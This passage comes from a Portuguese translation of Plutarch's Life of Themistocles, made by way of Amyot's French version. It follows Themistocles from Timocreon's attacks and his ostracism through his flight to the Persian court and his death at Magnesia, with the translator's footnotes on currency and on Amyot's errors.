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(28)   
"Rouant" no texto — circulando.
(29). Da ilha de Andros,
que se chama ainda agora Andro

XLI. A esse respeito Timocreonte, poeta Ródio, o
agride bem duramente, acusando-o de readmitir, por dinheiro, muitos dos
banidos e que, pela cobiça de ganhar certa quantia tinha-o (30) traído e
abandonado, a ele que era seu hóspede e seu amigo. Os versos onde ele o diz são
os seguintes:

Nem Pausânias nem
Leotiquides,
Nem Xantipo
são para mim
Grandes
capitães perto de Aristides;
Este é o melhor que saiu
de Atenas.
Temístocles eu não
menciono,
Ele é
odiado a justo título de Latona,
Porque é um
traidor, um mau e um mentiroso
Que por
pouco dinheiro recusou
Covardemente
a seu hóspede antigo,
Timocreonte, a volta ao
seu país
Laliso
(31); e pela soma e preço
De três talentos de
prata (32) mal ganhos,
Fez voltar a alguns do
exílio
E a outros
banir injustamente
Ou matar
sem crime que o merecesse;
Depois
fêz-se ao mar como aventureiro
Sempre por
dinheiro, o concussionário.

(30)           
Amyot
escreve "et avoit luy etc", quando deveria escrever "et l’avoit
luy".
(31)           
Ialiso,
cidade da ilha de Rodes.
(32)           
Esses
três talentos eqüivalem a 14.000 libras de nossa moeda.

Que
depois manteve um taverneiro
Ordinário, avarento e interesseiro
Nos jogos
sobrados da Assembéia Ístmica,
Servindo aos que
freqüentavam sua mesa
Carne fria, e eles, comendo-a, desejavam
Não ter
pertencido jamais ao tempo do falso
Temístocles Por sua maldade,

Ele o injuriou porém de forma bem mais ultrajante,

e mais a descoberto, depois que Temístocles foi exilado e condenado, e isso em
uma canção que começa assim:

Ó Musa, seja por ti a
fama
Destes meus versos,

disseminada entre os Gregos.
Assim como é justo e
razoável.

Conta-se que o motivo de ter sido banido Timocreonte,
liga-se à inteligência mantida por ele com os bárbaros, tendo sido Temístocles
um dos que o condenaram, razão pela qual, quando o próprio Temístocles foi,
depois, acusado do mesmo crime, Timocreonte compôs contra ele os versos
seguintes:

Timocreonte
não foi portanto o único
 Que tratou com os medos;
Houve outros tão maus quanto eu;
Não sou a única raposa pelos campos

XLII. Mas além de tudo isso, já começavam seus
próprios concidadãos, por inveja a prestar ouvido, de boa vontade, aos que o
caluniavam e diziam mal dele. Cuidando obviar ao mal, ele foi constrangido a
agir de maneira a tornar-se ainda mais odioso, porque, discursando, muitas
vezes ao povo, rememorava-lhe seus benefícios e serviços, e vendo que a gente
se aborrecia, dizia-lhe: «por que vos cansais de receber continuamente o bem da
mesma origem?»

Ele desagradou, também profundamente a muitos quando
apelidou Diana, na dedicatória do templo que lhe mandou construir, de
Aristóbulo. que significa de muito bom conselho, querendo dizer com isso que
tinha dado à sua cidade e a todos os gregos, um conselho muito bom e sábio. Edificou
também o templo que está no distrito de Melita perto de sua casa, no local onde
os carrascos expõem hoje, os corpos dos executados pela justiça, e onde são
trazidas também as vestes e as cordas dos criminosos, enforcados, ou
justiçados por qualquer outro meio. Havia ainda contemporaneamente a nós, nesse
templo de Diana Aristóbulo, uma pequena imagem de Temístocles, a qual mostra e
dá claramente a conhecer que ele tinha não somente o coração e a inteligência
elevados, mas também o rosto cheio de majestade.

XLIII. Os atenienses finalmente o baniram e relegaram para
fora da cidade por cinco anos (33),  com a intenção de reduzir-lhe a autoridade
e seu exagerado prestígio, como tinham o costume de fazer com todos aqueles
cujo poder lhes parecia excessivo, e desmesurado, para a igualdade que deve
existir entre os cidadãos de um estado popular; porque essa forma de banir por
um certo período, denominada ostracismo, não constituia punição de crime nenhum
mas era uma espécie de satisfação e alívio à inveja da plebe, a qual sentia
prazer em diminuir e rebaixar aqueles que pareciam excedê-la muito em grandeza,
evitando-se, por tal meio, o veneno da sua malquerença com essa redução de
honrarias. Tendo sido assim expulso de Atenas, ele se recolheu a Argos.

(33)   
É um erro de Amyot a que já nos referimos várias vezes. Plutarco fala do
decreto de ostracismo que era de dez anos.

XLIV. Adveio entrementes, o caso de Pausânias,
que deu pretexto e meio, aos seus inimigos para o atacarem; mas quem se
inscreveu contra ele como acusador e parte, em matéria de traição, foi um certo
Leobotes filho de Alcmeonte, natural do burgo de Agraula, encarregado pelos
espartanos que também o perseguiram; porque Pausânias não tinha antes revelado
nada a Temístocles da traição maquinada, embora fosse seu grande amigo. Quando
porém o viu expulso do seu país, suportando muito impaciente-mente o exílio,
teve, nesse momento a ousadia de comunicar-lha, solicitando-lhe, quisesse vir
com ele, e mostrando-lhe cartas que o rei da Pérsia lhe havia escrito,
incitava-o contra os gregos, como sendo gente ingrata e de má natureza.
Temístocles rejeitou com firmeza a solicitação, declarando-lhe abertamente que não queria ter
com ele nenhuma participação nesse assunto, sem contudo revelar a ninguém no
mundo, as propostas que Pausânias lhe fizera, nem denunciar jamais a decisão
deste, fosse porque confiasse em sua desistência ou porque considerasse fatal
que tudo viesse logo a ser descoberto por outro meio, tendo em visa que
Pausânias aspirava desvairadamente, a coisas muito incertas, sem propósito,
nem possibilidade nenhuma.

XLV. Ora, depois que Pausânias foi munido com a morte,
encontraram-se entre os seus papéis algumas cartas e escritos que tornavam
Temístocles muito suspeito e os lacedemônios gritando de um lado, contra ele,
seus invejosos de outro, também o responsabilizavam e o acusavam em Atenas,
durante sua ausência. Respondeu-lhes a princípio, Temístocles através de
cartas nas quais escrevia ao povo não ser verossímil que ele, que procurara sempre
dominar, por todos os meios, e não tinha nascido para servir, nem para isso
sentia nenhuma inclinação, tivesse pensado, de qualquer forma em vender sua
liberdade e a dos gregos aos bárbaros inimigos. O povo, entretanto, excitado
por seus desafetos, enviou gente para prendê-lo a fim de apresentá-lo à
Assembléia dos estados da Grécia, onde seria julgado pelo conselho. Sentindo
desde logo o vento, transportou-se Temístocles para a ilha de Corfu, por lhe
ser a cidade reconhecida, por um favor que lhe  concedera   outrora>  
porque  tendo  tido   os  de Corfu, certa diferença contra os de Corinto, Temístocles
apaziguou sua disputa, sentenciando a seu favor, e condenando os coríntios a
multa de vinte talentos (34) a eles destinada, e ordenando que gozassem em
comum da ilha de Leucadia, como tendo; sido povoada por habitantes de uma e
outra cidade, conjuntamente.

(34)   Vinte talentos equivalem a 93.375 libras da nossa moeda.

XLVI. Dali fugiu ele para o Épiro, onde, perseguido por
atenienses e lacedemônios, foi constrangido a lançar-se em uma aventura muito
incerta e bem perigosa, indo entregar-se entre as mãos do rei dos molossos,
Admeto, o qual tendo solicitado qualquer coisa aos atenienses em tempos
passados, tinha sido despedido assaz vergonhosamente, por Temístocles então no
auge do prestigio, pelo que muito se indignou esse rei contra ele, sendo
evidente que se o tivesse então, apanhado nas mãos, tê-lo-ia maltratado. No
calamitoso exílio em que se encontrava, todavia, considerou que a malquerença
já envelhecida do rei, era menos temível que o ódio e a. inveja inteiramente
atuais dos seus concidadãos. Por esse motivo foi como suplicante de Admeto entregar-se
à sua discrição, de uma maneira nova e diferente da comum, porque, tomando
entre os braços o filho do rei, ainda criança, foi lançar-se de joelhos junto
ao altar doméstico, o que os molossos consideraram como a mais
urgente forma de súplica, que ninguém ousaria afastar nem recusar. Dizem alguns
ter sido a própria Ftia, mulher do rei, que lhe deu conhecimento desse costume
do país, levando, além disso, seu filho para perto do mencionado altar.
Escrevem outros que foi o próprio Admeto que lhe ensinou essa premente maneira
de suplicar, para poder escusar-se diante de quem exigisse a sua pessoa, com o
dever decorrente da religião que o impedia entregá-lo.

XLVII. Entrementes, Epícrates Acarniano, encontrou
meios de subtrair secretamente sua mulher e filhos para fora de Atenas,
enviando-os a ele, razão pela qual foi depois chamado à Justiça, e executado,
a instâncias e por perseguição de Cimon conforme o escreve Estesimbroto, o qual
esquecendo isso pouco depois, não se sabe como, ou bem, atribuindo o
esquecimento a Temístocles, diz que ele navegou para a Sicília onde pediu a
filha de Hierão, tirano de Siracusa, em casamento, prometendo-lhe, se fosse
aceito, conquistar todos os povos da Grécia, submetendo-os inteiramente. Não
tendo Hierão as-sentido, diante da sua recusa, tomou Temístocles o caminho da
Ásia. Isto porém não é verossímil, porque Teofrasto escreve no seu tratado sobre
a realeza, que Hierão, tendo enviado cavalos para correr na festa dos jogos
Olímpicos, e fazendo erigir aí uma tenda magnífica, suntuosa e rica,
Temístocles discursou aos Gregos, demonstrando-lhes que se devia estraçalhar e
saquear a tenda do tirano, sem permitir que seus cavalos corressem com
os outros, nos jogos sagrados, em disputa do prêmio de velocidade. Tucídides
declara que ele desceu até o outro mar, embarcando na cidade de Pidna, sem que
ninguém o conhecesse a bordo, até o vento lançá-los sobre a ilha de Naxos,
sitiada, casualmente, nesse momento, pelos atenienses, pelo que temendo
abordar ali, foi ele constrangido a declarar quem era, ao capitão e ao piloto
do navio, aos quais, em parte com súplicas e em parte com ameaças de os acusar
aos atenienses de não ter sido por ignorância mas por dinheiro que eles o
haviam recebido a bordo, forçou-os a passar ao largo, tomando a rota da Ásia.

XLVIII. Quanto a seus bens, seus amigos desviaram e salvaram
boa parte deles enviando-os à Ásia. mas a parte descoberta e confiscada,
escreve Teopompo, atingiu o valor de 100 talentos (35), não mencionando
Teofrasto mais que oitenta (36), quando sua fortuna não valia três, (37) ao
tempo em que começou a imiscuir-se no governo da coisa pública.

Quando atingiu a cidade de Cumas, Temístocles
viu muita gente em toda a costa marinha, que o observava para prendê-lo,
notando-se entre outros um certo Ergóteles e um Pítódoro, por ser a presa
grandemente ambicionada por gente desejosa de realizar proveito de
qualquer coisa e por qualquer meio, e isso porque o rei da Pérsia
tinha feito proclamar, ao som de trombeta, que daria duzentos talentos
a quem o trouxesse. Ele fugiu, por esse motivo, para uma pequena cidade da
nação Eólica, chamada Egas, onde ninguém o conhecia a não ser seu hospedeiro,
Nicógenes, o mais rico e mais opulento entre todos os eólicos, mantendo
relações com senhores de prestígio junto ao rei da Pérsia. Temístocles ficou
alguns dias escondido em sua casa, durante os quais uma tarde, depois
do festim de um sacrifício, o preceptor dos filhos desse Nicógenes,
chamado Olbio, tendo sido subitamente transportado e posto fora de si
por inspiração divina, começou a pronunciar alto estes versos:

Dá tua voz
à noite negra,
 E teu conselho e tua vitória.

Estando Temístocles na noite seguinte déitado em
seu leito, sonhou que tinha uma serpente enroscada em torno do ventre, a qual, deslizando
ao longo do pescoço, atingiu-lhe a face; transformando-se, então, subitamente
em uma águia que o envolveu entre suas asas e levantando-o, arrebatou-o pelo
ar e o levou bem para longe até ele perceber um bastão de ouro semelhante
a,os que os arautos trazem na mão, sobre o qual a águia o colocou
firmemente, tão bem, que ele se sentiu então livre do medo desesperado e da
grande perturbação em que se achava. Para conduzi-lo em segurança à corte, Nicógenes
recorreu, por esse motivo, ao seguinte estratagema:

As nações bárbaras, em sua maior parte, inclusive á persa,
são, por natureza, estranha e cruelmente zelosas das mulheres, não somente das
desposadas, mas também das escravas e concubinas, guardando-as tão
cuidadosamente, que ninguém as vê jamais fora, mas se mantêm sempre encerradas
em casa, e quando saem pelos campos são levadas em carros bem fechados,
cobertos inteiramente, de sorte que não se pode ver dentro. Temístocles tomou
um carro preparado dessa maneira, depois de instruir sua gente a responder aos
que encontrassem pelo caminho e perguntassem quem ia ali dentro, que se tratava
de uma jovem grega do país da Jônia, conduzida a um dos senhores da corte. Segundo
dizem Tucídides e Caronte Lampsasceno, foi depois da morte de Xerxes que
Temístocles se dirigiu para ali, onde falou com seu filho. Mas Éforo, Dinon,
Clitarco, Heráclides e muitos outros, escrevem que foi com o próprio Xerxes.
Parece, todavia, que a afirmação de Tucídides concorda melhor com as crônicas e
as tábuas onde está registrada a seqüência do tempo, muito embora elas mesmas
não sejam muito precisas.

(35)            
Sessenta
mil escudos.  Amyot. Agora 456.875 libras de nossa moeda.
(36)            
Agora 373.500 libras de nossa moeda.
(37)            
1.800 escudos. Amyot.   Agora 14.006 libras da nossa moeda.

 

XLIX. Temístocles então, atingindo o limiar do
perigo dirigiu-se primeiro a Artabano, capitão de mil homens de infantaria, e
disse-lhe que era Grego de nação e queria falar ao rei sobre coisas de alta
importância que o interessavam profundamente. Respondeu-lhe Artabano desta
maneira: «estrangeiro, meu amigo, as leis e costumes dos homens são diferentes,
e uns consideram honesta uma coisa, outros outra, mas é honroso para todos
observar as do próprio país. Ora, quanto a vós outros Gregos, dizem que
estimais a liberdade e a igualdade acima de tudo; quanto a nós, entretanto,
entre muitos belos costumes e leis que possuímos, nos parece mais belo o de
reverenciar e adorar nosso rei, como a imagem do deus da natureza que mantém
todas as coisas em seu ser e sua plenitude. Sendo assim, se te queres acomodar
a nossa maneira de agir, e adorar o rei, poderás vê-lo e falar-lhe, mas se tens
outro desígnio, ser-te-á necessário negociar e tratar com ele por interposta
pessoa, porque tal é o costume do país. e o rei não dá jamais audiência a
ninguém que não o tenha primeiramente adorado». Tendo Temístocles ouvido esse
propósito, respondeu-lhe: «Senhor Artabano, eu vim aqui desejando aumentar a
glória e o poder do rei e portanto, não somente obedecerei às vossas leis, pois
isso agrada a Deus que elevou o império da Pérsia a esta grandeza, como farei
também que venha adorá-lo, mais gente do que atualmente o adora: não seja’,
portanto, por isso que não vá eu mesmo declarar ao rei o que lhe tenho a
dizer». «Mas quem diremos nós perguntou-lhe então Artabano, que tu sejas?
Porque te ouvindo falar não parece seres homem de baixa categoria».
Temístocles respondeu-lhe: «Quanto a isso, Artabano, ninguém o saberá antes do
rei». Assim o narra Fânias, e Eratóstenes em um tratado escrito por ele sobre a
riqueza, onde acrescenta que Temístocles teve acesso a este Artabano, e lhe foi
recomendado, por intermédio de uma mulher, eretriana, pelo mesmo entretida.

L. Conduzido, então, diante do rei, manteve-se
de pé, sem dizer palavra, depois de lhe ter feito a reverência até que o rei fez
o intérprete perguntar-lhe quem era. Perguntou-lhe o intérprete e ele respondeu:
«Senhor rei, eu sou Temístocles ateniense, que banido e expulso do meu país
pelos gregos, me retirei para junto de ti, consciente de ter feito muito
mal aos persas, mas considerando ter-lhes feito ainda maior bem, por ter
impedido os gregos de perseguir-vos quando, tendo colocado os negócios da
Grécia em segurança, e meu país fora de perigo, pareceu-me que podia ser-vos
também agradável. Ora, quanto a mim, meus sentimentos se acordam ao calamitoso
estado em que me encontro no momento, porque venho deliberadamente para
reconhecer como uma graça se te agrada reconciliar-te comigo amigavelmente, e
para pedir-te perdão, caso ainda estejas irritado contra mim. Rogo-te. contudo,
senhor que, tomando a inimizade dos gregos por mim como testemunho dos serviços
que prestei à nação persa, queiras usar do meu destino como de ocasião e materna
para mostrar tua virtude antes que para satisfazer a paixão de tua ira,
porque, salvando-me a vida, salvarás um suplicante que se ofereceu francamente
à tua graça, e fazendo-me morrer destruirás um inimigo dos gregos».
Pronunciando essas palavras ele acrescentou que os Deuses, por muitos sinais e
argumentos, o tinham incitado a vir entregar-se a ele, narrando a visão que
tivera, em sonho, na casa de Nicógenes, e recitando o oráculo de Júpiter Dedoniano,
pelo qual lhe fora determinado que ele recolhesse para junto de quem se
designava como Deus, supondo tratar-se dele porque, Deus e ele se consideravam,
e eram na verdade, dois grandes reis.

LI. O rei tendo-o ouvido falar nada lhe respondeu, de
momento, embora possuído de grande admiração pelo seu bom senso e ousadia, mas
depois, entre seus amigos, disse considerar-se feliz da boa sorte de ter-se
Temístocles retirado para junto dele, e orou ao seu grande deus Arimã para que estimulasse
sempre em seus inimigos, essa vontade de expulsar o maior número de pessoas de
bem e de grandes homens existentes entre eles. Conta-se que o rei sacrificou
aos deuses, rendendo-lhes graças e começou imediatamente a banquetear-se de tal
maneira que, à noite, sonhando, durante o mais profundo de seu sono gritou
três vezes de alegria: «Eu tenho comigo Temístocles, o ateniense». No dia

seguinte de manhã, tendo chamado as principais personagens da corte, fez também
vir Temístocles, o qual nada esperava de bom, principalmente quando viu os guardas
que estavam à porta o olharem com má catadura, dirigindo-lhe injúrias quando o
viram, e ouviram o seu nome. Especialmente Roxanes, um dos capitães, quando
Temístocles passou a seu lado para aproximar-se do rei, sentado sobre o trono,
disse-lhe baixinho, suspirando, enquanto os demais conservavam profundo
silêncio: «Ó serpente grega, astuta e maliciosa, a sorte do rei te trouxe
aqui.» .

LII. Quando ele chegou diante do soberano,
entretanto, e fez outra vez a reverência, este o saudou e dirigiu-lhe a
palavra amavelmente dizendo-lhe que já lhe devia duzentos talentos (38), uma
vez que se tendo apresentado por si mesmo, cabia-lhe receber o prêmio em
dinheiro, prometido a quem o trouxesse; prometeu-lhe ainda muito mais,
garantindo-lhe segurança ao determinar-lhe que dissesse livre e francamente
tudo o que entendesse no tocante aos negócios da Grécia. Respondeu-lhe então
Temístocles: «a palavra do homem se parece exatamente a uma tapeçaria de
histórias e figuras porque, numa e noutra as belas imagens aí colocadas são
vistas, quando estendidas e desenroladas, e ao contrário não aparecem e se
perdem quando recolhidas e dobradas, razão pela qual ele tinha necessidade de
tempo para poder desenvolver sua palavra». O rei achou esta comparação muito
própria e adequada, e como lhe concedesse o tempo que desejasse, pediu-lhe
Temístcles um ano, durante o qual, tendo aprendido suficientemente a língua
persa, falou depois ao rei, diretamente, sem intérprete.

(38)    Agora 913-750 libras
da nossa moeda

LIII. Supuseram os não pertencentes à corte que ele tivesse
falado apenas dos negócios gregos, mas como a esse tempo, aparecesse ali, muita
novidade e mudança, foram os grandes de opinião que ele ousara falar também a
respeito deles, razão pela qual votaram-lhe depois grande inveja, porque a
honra dispensada pelo rei a outros estrangeiros, não era nenhuma em comparação
à que conferia a Temístocles, a quem levava à caça consigo, tendo-lhe permitido
ver sua mãe com a qual ele obteve familiaridade e tendo assistido, por ordem
expressa do rei, aos discursos dos sábios da Pérsia sobre a filosofia secreta,
denominada por eles magia. E como Demarato Lacedemônio se encontrava ao mesmo
tempo na corte da Pérsia, e foi um dia convidado pelo próprio rei a pedir-lhe,
de presente, o que entendesse, solicitou aquele, lhe fosse outorgada a graça de
poder andar pela cidade de Sardes com o chapéu real sobre a cabeça, como fazem
os reis da Pérsia. Mitropausto, primo do rei, disse tocando-lhe na mão: «Demarato,
o chapéu real que pedes, se estivesse sobre tua cabeça, quase não cobriria
cérebro nenhum, porque ainda que Júpiter tivesse o seu raio para tê-lo na mão,
não serias Júpiter por isso.» O rei lhe fez uma áspera admoestação por esse
importuno pedido, e entrou em tão grande cólera contra Demarato, que era de
pensar que jamais o perdoaria. Temístocles, entretanto, intercedeu tão bem por
ele, que conseguiu restabelecer sua posição. Conta-se dos reis sucessores,
vindos depois, sob os quais os negócios persas se mesclaram com os dos gregos
como jamais acontecera antes que quando queriam tomar a seu serviço alguma
personagem da Grécia, prometiam-lhe, escrevendo-lhe, que eles a fariam maior
junto a eles, do que fora Temístocles junto a Xerxes. Relaciona-se com tudo
isso o fato que também é contado., de ele mesmo, já muito acreditado e seguido
por muita gente que o cortejava em virtude da autoridade por ele adquirida,
certa vez que se achava à mesa, servido magnificamente de todos os alimentos
delicados, ter-se virado para os filhos dizendo: «meus filhos, estaríamos
perdidos se não tivéssemos estado perdidos.» Escreve a maior parte dos
historiadores ter-lhe sido atribuída a renda de três cidades para seu pão, seu
vinho e sua subsistência, a saber Magnésia, Lampsaco e Miunto; Neantes Ciziceno
e Fânias, entretanto, acrescentam ainda duas outras, Percota e Palescepse, uma
para seu vestuário e outra para seu dormitório.

LIV. Quando ele desceu às províncias baixas unto
ao mar para inquirir dos negócios da Grécia, ouve um senhor persa chamadoEpixies,
governador. da alta Frígia que
lhe armou uma cilada, tendo, com grande antecedência, contratado alguns assassinos
pisidianos para matá-lo quando ele chegasse à cidade de seu governo chamada
«Cabeça de Leão»; Gomo ele, porém dormisse um dia em seu alojamento, por volta
da tarde, a mãe dos deuses apareceu-lhe e lhe disse: «Temístocles, não chegues
à «Cabeça de Leão», por temor ao Leão; e por esta advertência eu te peço tua
filha Mnesiptólema para minha serva.» Temístocles, acordando em sobressalto
nesse momento, fêz sua oração à deusa e afastando-se da entrada principal,
tomou outro rumo. Ultrapassando depois a cidade, acampou quando já era noite.
Aconteceu porém que uma das bestas que carregavam sua tenda, tombou por acaso
no rio, pelo que sua gente estendeu as tapeçarias, totalmente, molhadas, à luz
da lua para secá-las. Os pisidianos não tendo podido discernir de longe, ao
luar, que eram tapeçarias estendidas para secar, pensaram tratar-se da própria
tenda habitada por Temístocles, e caíram sobre elas com as espadas nuas na mão,
esperando encontrá-lo aí dormindo; quando chegaram e já levantavam uma ponta
da tapeçaria, alguns dos homens de Temístocles, de sentinela,
perceberam-nos e correram sobre eles, prendendo-os. Temístocles, escapando
assim a esse perigo espantou-se muito do favor que lhe dispensara a deusa,
aparecendo a ele, e em agradecimento, quando atingiu a cidade de Magnésia
mandou edificar aí um templo a Dindimena, onde fez entrar como religiosa, sua
filha Mnesiptleóma.

LV. Transitando, todavia, pela cidade de Sardes ia
visitando, por desfastio, os templos e as oferendas aí existentes. No templo
da mãe dos deuses viu uma imagem de uma donzela feita de cobre com dois côvados
de altura, que se chamava Hidrófora, isto é, portadora de água e era uma
estátua que ele mesmo dedicara outrora, tendo-a mandado fazer com o dinheiro
resultante das multas a que haviam sido condenados os que furtavam e desviavam
água pública de Atenas, quando era ele superintendente das águas. E fosse
porque lhe fizesse mal ver essa bela imagem prisioneira entre as mãos dos
bárbaros, ou porque quisesse mostrar aos atenienses quanto prestígio e
autoridade ele desfrutava em todos os países obedientes ao rei, falou com o
governador da Lídia, pedindo-lhe por favor, concordasse em devolver essa imagem
à Atenas. O bárbaro zangou-se muito com o pedido, dizendo-lhe que escreveria
sobre isso ao rei. Temístocles sentiu tanto medo com isso que se viu
constrangido a recorrer às mulheres e concubinas do governador e,
subornando-as por dinheiro, fê-las interceder por ele para amainar a ira do sátrapa.
Depois disso ele se conduziu bem mais prudentemente e com mais reserva em
todas as coisas, temendo já. a inveja dos bárbaros, porque, como escreve
Teopompo, deixou de passear daqui para ali pela Ásia, mantendo-se porém,
demoradamente na cidade de Magnésia,
gozando aí, em paz, dos donativos e benefícios do rei, honrado e
venerado como uma das maiores personagens da Pérsia, enquanto o rei estava
impedido com os negócios das altas províncias asiáticas, e não tinha tempo de
preocupar-se com os da Grécia.

LVI. .Mas quando chegaram noticias de que o Egito se tinha
rebelado, apoiado pelo favor e auxílio dos atenienses, e de que as galeras
gregas vinham correr até a ilha de Chipre e as costas da Cilícia, e de que
Cimon dominava todo o mar, volveu-se, por isso, o pensamento do rei para a
resistência contra os gregos, a fim de impedi-los que crescessem em seu
detrimento. Começou-se assim a recrutar gente, despachar capitães, e enviar
mensageiros à Magnésia ao encontro de Temístocles. a quem o rei determinava
que superintendesse aos negócios gregos, mantendo as promessas feitas. Mas
Temístocles sem mostrar-se ferido nem irritado pelo rancor contra seus
concidadãos, nem emocionado pelo desejo do grande poder e autoridade que
podia ter nessa guerra, ou talvez não considerando que fosse coisa da qual
pudesse sair-se bem, tendo em vista, especialmente, que a Grécia tinha
então três grandes capitães e que Cimon, entre os outros, prosperava
admiravelmente e, mais ainda, com vergonha de macular a glória de tantos
belos feitos, de tantos triunfos e vitórias ganhas por ele, tomou uma
resolução, cheia de sabedoria de pôr fim à própria vida, na forma a ele conveniente,
porque, oferecendo um solene sacrifício aos deuses, no qual festejou seus
amigos de quem se despediu, bebeu depois sangue de touro como o afirma a voz
mais corrente ou, como dizem outros, uma espécie de veneno que mata o homem
dentro de 24 horas, e acabou assim, os seus dias na cidade de Magnésia,
após ter vivido até a idade de sessenta e cinco anos, a maior parte dos quais
desempenhando sempre, ofícios e grandes cargos.

LVII. Conta-se que o rei da Pérsia tendo sabido a causa e a
maneira de sua morte, o estimou ainda mais que antes, por isso, tendo
continuado a tratar sempre bem, seus amigos e parentes, porque ele deixou
filhos tidos de Arquipe filha de Misan-dro da cidade de Alopecia, a saber,
Arquéptoles, Polieucto e Cleofanto a quem o próprio Platão filósofo menciona,
dizendo que era (39) homem de armas bastante bom, mas sem mérito no demais. Quanto
aos outros mais idosos, Neocles morreu de uma mordida de cavalo e Adiocles, foi
adotado como filho, por seu avô Lisandro. Temístocles deixou ainda muitas
filhas, entre as quais Mnesiptólema da segunda mulher, que foi casada com seu
irmão Arquéptoles o qual não era da mesma mãe; Itália, casada com um
certo Pantidas, natural de Quio; Sibaris casada com Nicomedes ateniense e
Nicômaca casada com Fasicles sobrinho de Temístocles, a quem seus irmãos a deram em
casamento na própria cidade de Magnésia, após a. morte do pai, sustentando e
educando este, a mais jovem de todas que se chamava Ásia.

(39)   
Em grego: "bom cavaleiro, mas que quanto ao resto, etc. Veja-se Platão, no
Menon. t II.
p. 93. C.

. LVIII. Em relação ao mais, sua sepultura magnífica vê-se
ainda na praça de Magnésia, mas quanto a seus ossos, não se deve acreditar no
que escreve Ândocides, em discurso feito a seus amigos, quando afirma que os
atenienses, tendo encontrado relíquias do seu corpo, as jogaram ao vento,
porque isso não passa de uma ficção para irritar os nobres contra o povo.
Filarco também, em sua história, nem mais nem menos do que se fosse uma
tragédia, arma por assim dizer engenhoso mito no qual faz aparecer não sei que
Neocles e Demópols filhos de Temístocles, para levar os leitores à compaixão,
mas não há ninguém que não veja imediatamente tratar-se de coisa contestável e
de pura invenção. Diodoro o geógrafo, num tratado por ele escrito sobre as
sepulturas diz, ma:s por conjectura do que por ciência certa,
que junto ao porto do Pireu, do lado de quem vem da cabeça de Aícimo (40) há
uma ponta em forma de cotovelo dentro da qual quando se dobra sua extremidade,
o maré sempre liso, encontrando-se aí uma base grande e longa, onde há como que
a forma de um altar, dizendo ele ser a sepultura de Temístocles, e pensa mesmo
que o poeta cômico Platão, o testemunha nestes versos:

Tua sepultura é situada
no ponto exato
Para ser saudada pelos
mercadores;
Ela verá
todos os que entrarem
No porto,
e. dele saírem;
E caso se
trave algum combate
No mar, ele
contemplará o choque.

(40)   
Em grego: "o promontóno de Alcimo", C

LIX. Os de Magnésia. finalmente, fixaram algumas honrarias
para os descendentes de Temístocles que duram até hoje; gozava delas, ao meu
tempo, um outro Temístocles Ateniense, com o qual mantive conversação familiar
e amizade, em casa do filósofo Amônio.

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